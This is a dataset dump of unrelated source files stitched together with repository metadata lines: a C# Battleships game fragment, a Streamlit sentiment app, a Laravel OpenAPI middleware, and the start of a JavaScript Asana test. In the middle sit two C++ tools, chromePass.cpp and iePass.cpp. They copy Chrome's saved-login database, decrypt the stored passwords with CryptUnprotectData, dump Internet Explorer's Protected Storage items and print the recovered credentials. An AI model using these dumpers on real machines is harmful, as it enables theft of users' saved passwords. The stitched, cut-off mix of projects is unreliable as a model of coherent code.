/// Stops listening to the old game once a new game is started
/// </summary>
private static void EndGame()
{
//RemoveHandler _human.PlayerGrid.Changed, AddressOf GridChanged
_ai.PlayerGrid.Changed -= GridChanged;
_theGame.AttackCompleted -= AttackCompleted;
}
/// <summary>
/// Listens to the game grids for any changes and redraws the screen
/// when the grids change
/// </summary>
/// <param name="sender">the grid that changed</param>
/// <param name="args">not used</param>
private static void GridChanged(object sender, EventArgs args)
{
DrawScreen();
SwinGame.RefreshScreen();
}
private static void PlayHitSequence(int row, int column, bool showAnimation)
{
if (showAnimation) {
AddExplosion(row, column);
}
Audio.PlaySoundEffect(GameSound("Hit"));
UpdateHint (""); //Ay - hint, makes the hint words disappear after hiting.
DrawAnimationSequence();
}
private static void PlayMissSequence(int row, int column, bool showAnimation)
{
if (showAnimation) {
AddSplash(row, column);
}
Audio.PlaySoundEffect(GameSound("Miss"));
UpdateHint (""); //Ay - hint, makes the hint words disappear after missing.
DrawAnimationSequence();
}
/// <summary>
/// Listens for attacks to be completed.
/// </summary>
/// <param name="sender">the game</param>
/// <param name="result">the result of the attack</param>
/// <remarks>
/// Displays a message, plays sound and redraws the screen
/// </remarks>
private static void AttackCompleted(object sender, AttackResult result)
{
bool isHuman = false;
isHuman = object.ReferenceEquals(_theGame.Player, HumanPlayer);
if (isHuman) {
Message = "You " + result.ToString();
if (result.Value == ResultOfAttack.Hit)
{
BreakStraightCount(); // IA - Break the consecutive count of slow clicks (warnings) if the player successfully hits an enemy ship.
}
} else {
Message = "The AI " + result.ToString();
}
switch (result.Value) {
case ResultOfAttack.Destroyed:
PlayHitSequence(result.Row, result.Column, isHuman);
Audio.PlaySoundEffect(GameSound("Sink"));
if (isHuman) {
//Message = "the boat is somewhere else!"; //Ay - Added hint that the boat is elsewhere for player
boatLeft--; //Decrease the boat count when a boat is destroyed
}
break;
case ResultOfAttack.GameOver:
PlayHitSequence(result.Row, result.Column, isHuman);
Audio.PlaySoundEffect(GameSound("Sink"));
while (Audio.SoundEffectPlaying(GameSound("Sink"))) {
SwinGame.Delay(10);
SwinGame.RefreshScreen();
}
if (HumanPlayer.IsDestroyed) {
Audio.PlaySoundEffect(GameSound("Lose"));//Ay - Added the new losing sound
} else {
Audio.PlaySoundEffect(GameSound("Winner"));
}
break;
case ResultOfAttack.Hit:
PlayHitSequence(result.Row, result.Column, isHuman);
if (HumanPlayer.Hits == 14) {
if (warningSign < 1) {
Audio.PlaySoundEffect (GameSound ("Warning")); //Ay - Added the logic warning sound when the computer is losing
++warningSign;
}
}
if (ComputerPlayer.Hits == 14) {
if (warningSignAi < 1) {
Audio.PlaySoundEffect (GameSound ("Warning")); //Ay - Added the logic warning sound when the computer is losing
++warningSignAi;
}
}
break;
case ResultOfAttack.Miss:
PlayMissSequence(result.Row, result.Column, isHuman);
break;
case ResultOfAttack.ShotAlready:
Audio.PlaySoundEffect(GameSound("Error"));
break;
}
}
/// <summary>
/// Completes the deployment phase of the game and
/// switches to the battle mode (Discovering state)
/// </summary>
/// <remarks>
/// This adds the players to the game before switching
/// state.
/// </remarks>
public static void EndDeployment()
{
//deploy the players
_theGame.AddDeployedPlayer(_human);
_theGame.AddDeployedPlayer(_ai);
SwitchState(GameState.Discovering);
}
public static void DisplayWarning()
{
SwinGame.DrawText(gameMessage, Color.White, 10, 100);
SwinGame.DrawText (hintGameMessage, Color.White, 500, 100);
}
public static void UpdateWarning(String message)
{
gameMessage = message;
}
public static void UpdateHint (String message)
{
hintGameMessage = message;
}
/// <summary>7
/// Gets the player to attack the indicated row and column.
/// </summary>
/// <param name="row">the row to attack</param>
/// <param name="col">the column to attack</param>
/// <remarks>
/// Checks the attack result once the attack is complete
/// </remarks>
public static void Attack(int row, int col)
{
AttackResult result = default(AttackResult);
result = _theGame.Shoot(row, col);
CheckAttackResult(result);
}
/// <summary>
/// Gets the AI to attack.
/// </summary>
/// <remarks>
/// Checks the attack result once the attack is complete.
/// </remarks>
private static void AIAttack()
{
//IA - Display a message when two consecutive warnings have been recorded...
if (WarningMessage() == 1)
{
UpdateWarning("Hurry, captain! (2 warnings left)");
} // IA - or when three consecutive messages have been recorded.
else if (WarningMessage() == 2)
{
UpdateWarning("Get faster! (1 warning left)");
}
// IA - issue a warning message informing the user about the interruption in the gameplay.
// IA - uncomment the code below and add delay if you wish to display one last warning before the game pauses.
/* else if (WarningMessage() == 3)
{
UpdateWarning("Concentrate while the game pauses.");
}*/
else
{
UpdateWarning("Stay alert! Slow attempts will pause the game.");
}
if (FasterAttempts())
{
UpdateWarning("You're doing good. Keep up the pace!");
}
AttackResult result = default(AttackResult);
// IA - once the game is set to switch to Pause mode...
if (decideGameRunning() == false)
{
PauseGame(); // IA - Pause the game due to frequent inactivity.
}
result = _theGame.Player.Attack();
CheckAttackResult(result);
}
/// <summary>
/// Checks the results of the attack and switches to
/// Ending the Game if the result was game over.
/// </summary>
/// <param name="result">the result of the last
/// attack</param>
/// <remarks>Gets the AI to attack if the result switched
/// to the AI player.</remarks>
private static void CheckAttackResult(AttackResult result)
{
switch (result.Value) {
case ResultOfAttack.Miss:
if (object.ReferenceEquals(_theGame.Player, ComputerPlayer))
AIAttack();
break;
case ResultOfAttack.GameOver:
SwitchState(GameState.EndingGame);
break;
}
}
/// <summary>
/// Handles the user SwinGame.
/// </summary>
/// <remarks>
/// Reads key and mouse input and converts these into
/// actions for the game to perform. The actions
/// performed depend upon the state of the game.
/// </remarks>
public static void HandleUserInput()
{
//Read incoming input events
SwinGame.ProcessEvents();
switch (CurrentState) {
case GameState.ViewingMainMenu:
HandleMainMenuInput();
break;
case GameState.ViewingGameMenu:
HandleGameMenuInput();
break;
case GameState.AlteringSettings:
HandleSetupMenuInput();
break;
case GameState.Deploying:
HandleDeploymentInput();
break;
case GameState.Discovering:
HandleDiscoveryInput();
break;
case GameState.EndingGame:
HandleEndOfGameInput();
break;
case GameState.ViewingHighScores:
HandleHighScoreInput();
break;
}
UpdateAnimations();
}
/// <summary>
/// Draws the current state of the game to the screen.
/// </summary>
/// <remarks>
/// What is drawn depends upon the state of the game.
/// </remarks>
public static void DrawScreen()
{
DrawBackground();
if (SwinGame.KeyTyped (KeyCode.vk_h)) {
UpdateHint ("There are " + boatLeft.ToString () + " boats left!");
//Ay - When H is pressed, give hint how many boats left.
}
if (SwinGame.KeyTyped (KeyCode.vk_h) && boatLeft <=1) {
UpdateHint ("One boat remaining!"); //Ay - update the message when there is 1 boat left
}
switch (CurrentState) {
case GameState.ViewingMainMenu:
if (SwinGame.KeyTyped (KeyCode.vk_m)) { //Ay - Added mute music when M is pressed
SwinGame.PauseMusic ();
}
if (SwinGame.KeyTyped (KeyCode.vk_u)) { //Ay - Added unmute music when U is pressed
SwinGame.ResumeMusic ();
}
SwinGame.DrawBitmap (GameImage ("Intro"), 0, 0); //APS
DrawMainMenu();
break;
case GameState.ViewingGameMenu:
if (SwinGame.KeyTyped (KeyCode.vk_m)) { //Ay - Added mute music when M is pressed
SwinGame.PauseMusic ();
}
if (SwinGame.KeyTyped (KeyCode.vk_u)) { //Ay - Added unmute music when U is pressed
SwinGame.ResumeMusic ();
}
DrawGameMenu();
break;
case GameState.AlteringSettings:
if (SwinGame.KeyTyped (KeyCode.vk_m)) { //Ay - Added mute music when M is pressed
SwinGame.PauseMusic ();
}
if (SwinGame.KeyTyped (KeyCode.vk_u)) { //Ay - Added unmute music when U is pressed
SwinGame.ResumeMusic ();
}
DrawSettings();
break;
case GameState.Deploying:
if (SwinGame.KeyTyped (KeyCode.vk_m)) { //Ay - Added mute music when M is pressed
SwinGame.PauseMusic ();
}
boatLeft = 5; //Boat value become 5 when it goes to deployment screen
if (SwinGame.KeyTyped (KeyCode.vk_u)) { //Ay - Added unmute music when U is pressed
SwinGame.ResumeMusic ();
}
DrawDeployment();
break;
case GameState.Discovering:
if (SwinGame.KeyTyped (KeyCode.vk_m)) { //Ay - Added mute music when M is pressed
SwinGame.PauseMusic ();
}
if (SwinGame.KeyTyped (KeyCode.vk_u)) { //Ay - Added unmute music when U is pressed
SwinGame.ResumeMusic ();
}
DrawDiscovery();
break;
case GameState.EndingGame:
if (SwinGame.KeyTyped (KeyCode.vk_m)) { //Ay - Added mute music when M is pressed
SwinGame.PauseMusic ();
}
if (SwinGame.KeyTyped (KeyCode.vk_u)) { //Ay - Added unmute music when U is pressed
SwinGame.ResumeMusic ();
}
DrawEndOfGame();
break;
case GameState.ViewingHighScores:
if (SwinGame.KeyTyped (KeyCode.vk_m)) { //Ay - Added mute music when M is pressed
SwinGame.PauseMusic ();
}
if (SwinGame.KeyTyped (KeyCode.vk_u)) { //Ay - Added unmute music when U is pressed
SwinGame.ResumeMusic ();
}
DrawHighScores();
break;
}
DrawAnimations();
SwinGame.RefreshScreen();
}
/// <summary>
/// Move the game to a new state. The current state is maintained
/// so that it can be returned to.
/// </summary>
/// <param name="state">the new game state</param>
public static void AddNewState(GameState state)
{
_state.Push(state);
Message = "";
RestartTracking(); // IA - restart the tracking for slow attempts.
}
/// <summary>
/// End the current state and add in the new state.
/// </summary>
/// <param name="newState">the new state of the game</param>
public static void SwitchState(GameState newState)
{
EndCurrentState();
AddNewState(newState);
}
/// <summary>
/// Ends the current state, returning to the prior state
/// </summary>
public static void EndCurrentState()
{
/* IA - Check first if the user has just started the game
* and is on the first screen (the main menu), as
* there is no previous state, at that point.
*/
if (CurrentState == GameState.ViewingMainMenu)
{
// IA - Maintain consistency in the game states.
_state.Push(GameState.Quitting);
}
else
{
_state.Pop(); // IA - Remove the current state, otherwise.
}
}
/// <summary>
/// Sets the difficulty for the next level of the game.
/// </summary>
/// <param name="setting">the new difficulty level</param>
public static void SetDifficulty(AIOption setting)
{
_aiSetting = setting;
}
}
//=======================================================
//Service provided by Telerik (www.telerik.com)
//Conversion powered by NRefactory.
//Twitter: @telerik
//Facebook: facebook.com/telerik
//=======================================================
| 4702f139471c606f2e37b1d358a8ca1ce4d4cd3c | [
"Markdown",
"C#"
] | 5 | C# | IsaacAsante/Battleships | c9f74326ddb6feade18115f5fdeed41efdefbc80 | f60da6392f58a07d905f730f27316684c63d2cb3 |
refs/heads/master | <repo_name>JaTrev/sentiment_classification<file_sep>/app.py
import streamlit as st
from enum import Enum
class TextTypes(Enum):
Text = "text"
Chapter = "chapter"
Subchapter = "subchapter"
Warning = "warning"
Title = "title"
def markdown_text(text: str, text_class: TextTypes = TextTypes.Text):
"""
markdown_text is used to create text on the streamlit page
:param text: string that should appear on the page
:param text_class: type of text presentation
:return:
"""
assert text_class in TextTypes
st.markdown(f'<p class="{text_class.value}"> {text} </p>', unsafe_allow_html=True)
def page_configuration():
st.set_page_config("Sentiment Analysis", layout="centered", initial_sidebar_state="expanded")
text_chapter = """<style>.{chapter} { font-size:40px ;} </style> """
st.markdown(text_chapter, unsafe_allow_html=True)
text_subchapter = """<style>.subchapter {font-size:30px ;} </style> """
st.markdown(text_subchapter, unsafe_allow_html=True)
title_font = """ <style>.title {font-size:50px ;} </style> """
st.markdown(title_font, unsafe_allow_html=True)
text_font = """<style>.text {} </style> """
st.markdown(text_font, unsafe_allow_html=True)
error_font = """<style>.warning { color: red;} </style> """
st.markdown(error_font, unsafe_allow_html=True)
page_style = """
<style>
/* This is to hide hamburger menu completely */
MainMenu {visibility: hidden;}
/* This is to hide Streamlit footer */
footer {visibility: hidden;}
"""
st.markdown(page_style, unsafe_allow_html=True)
def introduction():
markdown_text("NLP Sentiment Classification", TextTypes.Title)
_, col_mid, _ = st.columns([1, 6, 1])
with col_mid:
intro_text = 'Sentiment analysis is the process of identifying and classifying text based on its emotion. ' \
'It is often used in social media mentoring to give qualitative insights into a product or topic.'
markdown_text(intro_text, TextTypes.Text)
intro_text = 'This project looks at three different sentiment classifiers: ' \
'VADER, a pre-trained BERTSequenceClassifier, ' \
'and a self-created classifier based on a pre-trained BERT language model.'
markdown_text(intro_text, TextTypes.Text)
intro_text = 'All models are tested on the Sentiment140 data set. ' \
'The data set includes 1.6 million tweets, each tweet is labeled by its sentiment ' \
'(negative, neutral, positive).'
markdown_text(intro_text, TextTypes.Text)
def training_results():
with st.expander("VADER"):
markdown_text("VADER", text_class=TextTypes.Title)
body = "VADER (Valence Aware Dictionary and Sentiment Reasoner) " \
"is a common sentiment analysis tool that is based on rules and a lexicon. " \
"It works best with social media text."
markdown_text(body, text_class=TextTypes.Text)
body = 'This model was able to predict <b> 50 % </b> of the tweet sentiment correctly'
markdown_text(body, text_class=TextTypes.Text)
with st.expander("Specialized BERT"):
title = "Specialized BERT"
body = "text"
markdown_text(title, text_class=TextTypes.Title)
markdown_text(body, text_class=TextTypes.Text)
with st.expander("Own Model"):
title = "Own Model"
body = "has no neutral... acc = 0.83"
markdown_text(title, text_class=TextTypes.Title)
markdown_text(body, text_class=TextTypes.Text)
st.image("images/train.jpg", caption="Figure shows the accuracy and loss scores over training time.")
def interactive_section():
user_input = st.text_input("Type in input for sentiment classification", value="I love data.", max_chars=50, )
model_type = st.radio("What model should be used?", options=["VADER", "Specialized BERT", "Own Model"])
return user_input, model_type
def show_result(model_name: str, sentiment: str):
st.markdown(f""" <div align="center"> {model_name} classifies the input to be <b> {sentiment} </b>. </div> """,
unsafe_allow_html=True)
<file_sep>/requirements.txt
pandas==1.3.2
streamlit==0.86.0
tensorflow~=2.6.0
nltk~=3.6.2
transformers~=4.9.2<file_sep>/main.py
from app import page_configuration, introduction, training_results, interactive_section, show_result
from sentiment_analyzer import get_model, get_sentiment, get_sentiment_bert, get_tokenizer
if __name__ == '__main__':
page_configuration()
tokenizer = get_tokenizer()
introduction()
training_results()
user_input, model_type = interactive_section()
model = get_model(model_type=model_type)
if model_type == "Own Model":
result = get_sentiment_bert(user_input=user_input, model=model, tokenizer=tokenizer)
else:
assert model_type == "VADER"
result = get_sentiment(model, user_input=user_input)
show_result(model_type, result)
<file_sep>/sentiment_analyzer.py
from nltk.sentiment.vader import SentimentIntensityAnalyzer
from enum import Enum
import streamlit as st
import tensorflow as tf
from transformers import TFAutoModel, BertTokenizer
class Sentiment(Enum):
Positive = "positive"
Negative = "negative"
Neutral = "neutral"
def define_model(model, max_seq_length: int = 55):
input_ids = tf.keras.Input(shape=(max_seq_length,), dtype='int32')
attention_mask = tf.keras.Input(shape=(max_seq_length,), dtype='int32')
outputs = model({'input_ids': input_ids, 'attention_mask': attention_mask},
training=False)
pooler_output = outputs["pooler_output"]
# Model Head
h1 = tf.keras.layers.Dense(128, activation='relu')(pooler_output)
dropout = tf.keras.layers.Dropout(0.2)(h1)
output = tf.keras.layers.Dense(1, activation='sigmoid')(dropout)
new_model = tf.keras.models.Model(inputs=[input_ids, attention_mask],
outputs=output)
new_model.compile(tf.keras.optimizers.Adam(lr=1e-4), loss='binary_crossentropy', metrics=['accuracy'])
return new_model
@st.cache
def get_model(model_type: str, transformers_model_name: str = "bert-base-uncased"):
assert model_type in ["VADER", "Own Model"]
if model_type == "VADER":
return SentimentIntensityAnalyzer()
elif model_type == "Own Model":
# load own bert model (saved with '.h5')
bert_model = TFAutoModel.from_pretrained(transformers_model_name, output_hidden_states=True)
own_model = define_model(bert_model)
own_model.load_weights('data/own_weights.h5')
return own_model
def get_tokenizer(transformers_model_name: str = "bert-base-uncased"):
return BertTokenizer.from_pretrained(transformers_model_name)
@st.cache
def get_sentiment(model, user_input: str):
output_dict = model.polarity_scores(user_input)
sentiment_dic = {Sentiment.Positive: output_dict["pos"], Sentiment.Negative: output_dict["neg"],
Sentiment.Neutral: output_dict["neu"]}
return max(sentiment_dic, key=sentiment_dic.get).value
def tokenization(data: list, tokenizer: BertTokenizer, max_seq_length: int = 55):
return tokenizer(data, padding='max_length', max_length=max_seq_length, truncation=True, return_tensors="tf")
def get_sentiment_bert(user_input: str, tokenizer: BertTokenizer, model: tf.keras.models.Model) -> str:
model_input = tokenization([user_input], tokenizer=tokenizer)
prediction = model.predict([model_input.input_ids, model_input.attention_mask])[0]
if prediction > 0.5:
return Sentiment.Positive.value
else:
return Sentiment.Negative.value
| 753ac0830c897305197b5751159578e57cf1ac94 | [
"Python",
"Text"
] | 4 | Python | JaTrev/sentiment_classification | 0a2f9010156b90744e11b155c20e45fb25498b5b | 3ef2ae540ff10507f9988505243458cb565043b1 |
refs/heads/master | <file_sep><?php
namespace KoharaKazuya\LaravelOpenAPIValidatorMiddleware;
use Closure;
use KoharaKazuya\LaravelPSR15Middleware\LaravelPSR15MiddlewareFactory;
use Psr\Http\Server\MiddlewareInterface;
class LaravelOpenAPIValidatorMiddleware
{
private $delegate;
public function __construct(LaravelPSR15MiddlewareFactory $middlewareFactory, MiddlewareInterface $openapiValidatorMiddleware)
{
$this->delegate = $middlewareFactory->createMiddleware($openapiValidatorMiddleware);
}
/**
* Laravel compatible middleware handle method
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @return mixed
* @throws
*/
public function handle($request, Closure $next)
{
return $this->delegate->handle($request, $next);
}
}<file_sep># Laravel OpenAPI Validator Middleware
Laravel middleware validates requests and responses by an OpenAPI specification document.
## Installation
```console
$ composer require koharakazuya/laravel-openapi-validator-middleware
$ php artisan vendor:publish --provider="KoharaKazuya\LaravelOpenAPIValidatorMiddleware\LaravelOpenAPIValidatorMiddlewareServiceProvider"
```
## Usage
Modify configurations in `config/laravelopenapivalidatormiddleware.php`.
Append a middleware to `app/Http/Kernel.php`.
```diff
protected $middleware = [
// other middlewares...
+ \KoharaKazuya\LaravelOpenAPIValidatorMiddleware\LaravelOpenAPIValidatorMiddleware::class,
];
```
<file_sep><?php
return [
/*
* OpenAPI Specification document JSON file path
*/
'specfilepath' => '/path/to/openapi-document-json-file',
/*
* validator options passed to HKarlstrom\Middleware\OpenApiValidation constructor
*
* @see https://github.com/hkarlstrom/openapi-validation-middleware#options
*/
'openapivalidationoptions' => [],
];
<file_sep><?php
namespace KoharaKazuya\LaravelOpenAPIValidatorMiddleware;
use Exception;
use HKarlstrom\Middleware\OpenApiValidation;
use Illuminate\Support\ServiceProvider;
use Psr\Http\Server\MiddlewareInterface;
class LaravelOpenAPIValidatorMiddlewareServiceProvider extends ServiceProvider
{
/**
* Boot the service provider.
*
* @return void
*/
public function boot()
{
$this->publishes([
__DIR__ . '/../config/laravelopenapivalidatormiddleware.php' => config_path('laravelopenapivalidatormiddleware.php'),
]);
}
/**
* Register the service provider.
*
* @return void
*/
public function register()
{
$this->app->when(LaravelOpenAPIValidatorMiddleware::class)
->needs(MiddlewareInterface::class)
->give(function ($app) {
/**
* @var \Illuminate\Contracts\Config\Repository $config
*/
$config = $app['config'];
// get configurations
$specfilepath = $config->get('laravelopenapivalidatormiddleware.specfilepath');
if (empty($specfilepath)) {
$classname = self::class;
throw new Exception("Cannot find laravelopenapivalidatormiddleware.specfilepath configuration. Make sure that `php artisan vendor:publish --provider=\"$classname\"` and set appropriate path to specification file.");
}
$openapivalidationoptions = $config->get('laravelopenapivalidatormiddleware.openapivalidationoptions', []);
return new OpenApiValidation($specfilepath, $openapivalidationoptions);
});
}
}
| 14fef001163f921defa54ac308d5db357afb3470 | [
"Markdown",
"PHP"
] | 4 | PHP | KoharaKazuya/laravel-openapi-validator-middleware | 3225dc4c5a441e6e62c876bdca51f8ada0c3ffa3 | ef19e41e8e10fb179d57105b41aecda1353751a0 |
refs/heads/master | <repo_name>dptetc/PasswordRecovery<file_sep>/chromePass.cpp
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
// Link with crypt32.lib
#pragma comment(lib, "crypt32.lib")
#include "sqlite3.h"
#include "utils.h"
static void usage(char* exe );
static int process_row(void *NotUsed, int argc, char **argv, char **azColName);
unsigned int log_level = LOG_LEVEL_NONE;
int main(int argc, char **argv){
sqlite3 *db = NULL;
char *err_msg = NULL;
int rc = 0;
if (argc == 2) {
if ( !strncmp(argv[1], "-vv", 3)) {
log_level = LOG_LEVEL_VERY_VERBOSE;
} else if (!strncmp(argv[1], "-v", 2)) {
log_level = LOG_LEVEL_VERBOSE;
}
else if (!strncmp(argv[1], "-h", 2)) {
usage(argv[0]);
exit(0);
}
} else if (argc >= 3) {
printf("Invalid parameters\n");
exit(1);
}
/* Get chrome passwords database */
char user_profile[100];
rc = GetEnvironmentVariable("UserProfile", user_profile, 100);
if(0 != rc){
VVERBOSE(printf("UserProfile folder: %s\n", user_profile););
}
char login_db[200] = {0};
strcat(login_db, user_profile);
strcat(login_db, "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default\\Login Data");
VVERBOSE(printf("Db: %s\n", login_db););
/* Location valid on WinXP. From Vista changed to
C:\Users\<username>\Appdata\Local\Google\Chrome\User Data\Default
*/
/* Use a copy of the db. (original may be already locked) */
rc = CopyFile(login_db, "copy_db",FALSE);
if(!rc){
fprintf(stderr, "CopyFile failed\n");
exit(1);
}
rc = sqlite3_open("copy_db", &db);
if(rc){
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
sqlite3_close(db);
return(1);
}
rc = sqlite3_exec(db, "SELECT * FROM logins", process_row, db, &err_msg);
if( rc != SQLITE_OK ){
fprintf(stderr, "SQL error: %s (%d)\n", err_msg, rc);
sqlite3_free(err_msg);
}
sqlite3_free(err_msg);
sqlite3_close(db);
rc = DeleteFile("copy_db");
if( !rc ){
fprintf(stderr, "DeleteFile failed\n");
}
return 0;
}
static void usage(char* exe ) {
printf( "Unprotect and dump saved chrome passwords\n" );
printf( "%s [-v | -vv | -h]\n-v\tVerbose\n-vv\tVery verbose\n-h\tHelp", exe );
}
static int row_id = 1;
/* 4th argument of sqlite3_exec is the 1st argument to callback */
static int process_row(void *passed_db, int argc, char **argv, char **col_name){
int i = 0;
int rc = 0;
sqlite3 *db = (sqlite3*)passed_db;
sqlite3_blob* blob = NULL;
int blob_size = 0;
for(i=0; i<argc; i++){
if( !strcmp(col_name[i], "origin_url")) {
printf("[%d] Url: %s\n", row_id, argv[i] ? argv[i] : "NULL");
} else if ( !strcmp(col_name[i], "username_value")) {
printf("Username: %s\n", argv[i] ? argv[i] : "NULL");
} else if ( !strcmp(col_name[i], "password_value")) {
if(!argv[i])
continue;
VERBOSE(printf("row_id: %d\n", row_id););
/* password is stored in a blob */
rc = sqlite3_blob_open(db, "main", "logins", "password_value", row_id, 0, &blob);
if (rc != SQLITE_OK ) {
fprintf(stderr, "Password blob not opened for %s\n", argv[i]);
exit(1);
}
row_id ++;
blob_size = sqlite3_blob_bytes(blob);
VVERBOSE(printf("Read blob %p with size %d\n", blob, blob_size););
DATA_BLOB enc_data;
enc_data.pbData = (BYTE*)malloc(blob_size);;
enc_data.cbData = blob_size;
rc = sqlite3_blob_read(blob, enc_data.pbData, blob_size, 0);
if (rc != SQLITE_OK){
fprintf(stderr, "Blob read error (code %d)\n", rc);
continue;
}
VVERBOSE(dump_bytes(enc_data.pbData, blob_size, 0););
/* decrypt data */
DATA_BLOB dec_data;
if(CryptUnprotectData(&enc_data, NULL, NULL, NULL, NULL, 0, &dec_data))
{
printf("Password len: %d\n", dec_data.cbData);
dump_bytes(dec_data.pbData, dec_data.cbData, 1);
} else
{
fprintf(stderr, "Decryption failed\n");
}
/* cleanup */
free(enc_data.pbData); // Allocated with malloc !!!
LocalFree(dec_data.pbData);
sqlite3_blob_close(blob);
}
}
printf("\n");
return 0;
}<file_sep>/iePass.cpp
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include "utils.h"
/* import type information from pstorec library */
#import "pstorec.dll" no_namespace
/* Link with the Advapi32.lib file */
#pragma comment(lib, "Advapi32.lib")
typedef HRESULT (WINAPI *PStoreCreateInstance_t)(IPStore **, DWORD, DWORD, DWORD);
static void usage(char* exe );
static int get_ie_ver();
static void dump_ie6();
static void dump_ie7();
static void print_guid(GUID g);
unsigned int log_level = LOG_LEVEL_NONE;
int main(int argc, char **argv){
int version = 0;
if (argc == 2) {
if ( !strncmp(argv[1], "-vv", 3)) {
log_level = LOG_LEVEL_VERY_VERBOSE;
} else if (!strncmp(argv[1], "-v", 2)) {
log_level = LOG_LEVEL_VERBOSE;
}
else if (!strncmp(argv[1], "-h", 2)) {
usage(argv[0]);
exit(0);
}
} else if (argc >= 3) {
printf("Invalid parameters\n");
exit(1);
}
version = get_ie_ver();
printf("IE version: %d\n", version);
// HKEY_CURRENT_USER\Software\Microsoft\Protected Storage System Provider
// SYSTEM permissions
VERBOSE(printf("Dumping password from Protected Store:\n"););
dump_ie6();
// HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2
VERBOSE(printf("Dumping password from Credentials Store:\n"););
dump_ie7();
return 0;
}
static void usage(char* exe ) {
printf( "Unprotect and dump saved IE passwords\n" );
printf( "%s [-v | -vv | -h]\n-v\tVerbose\n-vv\tVery verbose\n-h\tHelp", exe );
}
static int get_ie_ver(){
char regKeyName[] = "SOFTWARE\\Microsoft\\Internet Explorer";
char regValueName[] = "version";
char val[_MAX_PATH] ="";
DWORD valSize = _MAX_PATH;
DWORD valType;
HKEY rkey = 0;
/* Open IE registry key*/
if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, regKeyName, 0, KEY_READ, &rkey) != ERROR_SUCCESS )
{
printf("Failed to open key : HKLM\\%s\n", regKeyName );
return 1;
}
/*Read the version value*/
if( RegQueryValueEx(rkey, regValueName, 0, &valType, (unsigned char*)&val, &valSize) != ERROR_SUCCESS )
{
printf("Failed to read the key %s\n", regValueName);
RegCloseKey(rkey);
return 1;
}
VVERBOSE(printf("Type: %d, value: %s\n", valType, val););
RegCloseKey(rkey);
return atoi(val);
}
static void dump_ie6()
{
HRESULT rc = 0;
/* Get PStoreCreateInstance function ptr from DLL */
PStoreCreateInstance_t PStoreCreateInstance_func;
HMODULE lib_handle = LoadLibrary("pstorec.dll");
PStoreCreateInstance_func = (PStoreCreateInstance_t) GetProcAddress(lib_handle, "PStoreCreateInstance");
if (NULL == PStoreCreateInstance_func){
HandleError("GetProcAddress");
}
/* Get a pointer to the Protected Storage provider */
IPStore *ps_provider;
PStoreCreateInstance_func(&ps_provider,
NULL, // get base storage provider
0, // reserved
0 // reserved
);
/* Get an interface for enumerating registered types from protected db */
IEnumPStoreTypesPtr enum_types;
rc = ps_provider->EnumTypes(0, // PST_KEY_CURRENT_USER
0, // Reserved, must be set to 0
&enum_types
);
if (0 != rc ) {
printf("IPStore::EnumTypes method failed.\n");
ExitProcess(1);
}
GUID type, sub_type;
unsigned long num;
while((rc = enum_types->raw_Next(
1, // number of types requested
&type, // GUID
&num // pointer to number of types fetched
))>=0)
{
VERBOSE(printf("Fetched %d type(s): ", num); print_guid(type););
/* Get an interface for enumerating sub-types */
IEnumPStoreTypesPtr enum_sub_types;
ps_provider->EnumSubtypes(0, // PST_KEY_CURRENT_USER
&type,
0, // reserved, must be set to 0
&enum_sub_types);
while((rc = enum_sub_types->raw_Next(1, // number of sub-types requested
&sub_type, // GUID
&num // pointer to number of types fetched
)) >=0)
{
VERBOSE(printf(" Fetched %d sub-type(s): ", num); print_guid(sub_type););
/* Get an nterface for enumerating items */
IEnumPStoreItemsPtr enum_items;
ps_provider->EnumItems(0, // PST_KEY_CURRENT_USER
&type, // type GUID
&sub_type, // sub type GUID
0, // reserved, must be 0
&enum_items
);
LPWSTR item;
while((rc=enum_items->raw_Next(1, // number of items requested
&item,
&num
)) >=0) {
printf(" Fetched %d item(s): ", num); wprintf(L"%ws\n", item);
unsigned long item_len = 0;
unsigned char *item_data = NULL;
ps_provider->ReadItem(0, // PST_KEY_CURRENT_USER
&type, // GUID type
&sub_type, // GUID sub-type
item,
&item_len, // stored item length
&item_data, // buffer that contains the stored item
NULL, // Pointer to prompt structure
0);
VVERBOSE(printf("Item len: %d\n", item_len););
dump_bytes(item_data, item_len, 1);
/* Free read item */
CoTaskMemFree(item);
}
}
}
}
static void dump_ie7()
{
//http://www.securityfocus.com/archive/1/458115/30/0/threaded
}
/*typedef struct _GUID {
DWORD Data1;
WORD Data2;
WORD Data3;
BYTE Data4[8];
} GUID;*/
static void print_guid(GUID g){
printf("%08x-%04hx-%04hx-", g.Data1, g.Data2, g.Data3);
for(int i = 0; i<8; ++i){
if(i==2) {
printf("-");
}
printf("%02x", g.Data4[i]);
}
printf("\n");
} | ebece54491f99fb5513d89979f370fefe956ea6c | [
"C++"
] | 2 | C++ | dptetc/PasswordRecovery | 98284e0017dfadb2d86b2b10623bff9334df64ba | c191c59f52890ac39598fe860d0b17d9af336e22 |
refs/heads/master | <file_sep>const action = require('./action');
const core = require('@actions/core');
const github = require('@actions/github');
describe('asana github actions', () => {
let inputs = {};
let defaultBody;
let client;
let task;
const asanaPAT = process.env['ASANA_PAT'];
if(!asanaPAT) {
throw new Error('need ASANA_PAT in the test env');
}
const projectId = process.env['ASANA_PROJECT_ID'];
if(!projectId) {
throw new Error('need ASANA_PROJECT_ID in the test env');
}
const commentId = Date.now().toString();
beforeAll(async () => {
// Mock getInput
jest.spyOn(core, 'getInput').mockImplementation((name, options) => {
if(inputs[name] === undefined && options && options.required){
throw new Error(name + " was not expected to be empty");
}
return inputs[name]
})
// Mock error/warning/info/debug
jest.spyOn(core, 'error').mockImplementation(jest.fn())
jest.spyOn(core, 'warning').mockImplementation(jest.fn())
jest.spyOn(core, 'info').mockImplementation(jest.fn())
jest.spyOn(core, 'debug').mockImplementation(jest.fn())
github.context.ref = 'refs/heads/some-ref'
github.context.sha = '1234567890123456789012345678901234567890'
process.env['GITHUB_REPOSITORY'] = 'a-cool-owner/a-cool-repo'
client = await action.buildClient(asanaPAT);
if(client === null){
throw new Error('client authorization failed');
}
task = await client.tasks.create({
'name': 'my fantastic task',
'notes': 'generated automatically by the test suite',
'projects': [projectId]
});
defaultBody = `Implement https://app.asana.com/0/${projectId}/${task.gid} in record time`;
})
afterAll(async () => {
